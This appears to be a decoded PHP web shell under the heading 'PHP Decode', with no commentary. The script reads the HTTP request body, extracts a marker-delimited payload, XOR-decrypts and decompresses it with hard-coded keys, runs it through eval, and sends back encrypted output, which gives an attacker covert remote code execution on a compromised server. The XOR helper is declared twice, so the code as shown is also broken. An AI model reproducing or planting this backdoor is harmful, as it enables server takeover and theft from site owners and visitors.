PHP Decode

<?php 
function x($t, $k) 
{ 
    $c = strlen($k); 
    $l = strlen($t); 
    $o = ""; 
    for ($i = 0; $i < $l; ) { 
        for ($j = 0; $j < $c && $i < $l; $j++, $i++) { 
            $o .= $t[$i] ^ $k[$j]; 
        } 
    } 
    return $o; 
} 
$k = "4696bd9a"; 
$kh = "8ecf79155df0"; 
$kf = "5fb97fdc8317"; 
$p = "BL450mL1WeCi9eMA"; 
function x($t, $k) 
{ 
    $c = strlen($k); 
    $l = strlen($t); 
    $o = ""; 
    for ($i = 0; $i < $l; ) { 
        for ($j = 0; $j < $c && $i < $l; $j++, $i++) { 
            $o .= $t[$i] ^ $k[$j]; 
        } 
    } 
    return $o; 
} 
if (@preg_match("/$kh(.+)$kf/", @file_get_contents("php://input"), $m) == 1) { 
    @ob_start(); 
    eval(@gzuncompress(@x(base64_decode($m[1]), $k))); 
    $o = @ob_get_contents(); 
    @ob_end_clean(); 
    $r = @base64_encode(@x(@gzcompress($o), $k)); 
    print "$p$kh$r$kf"; 
} 
 ?>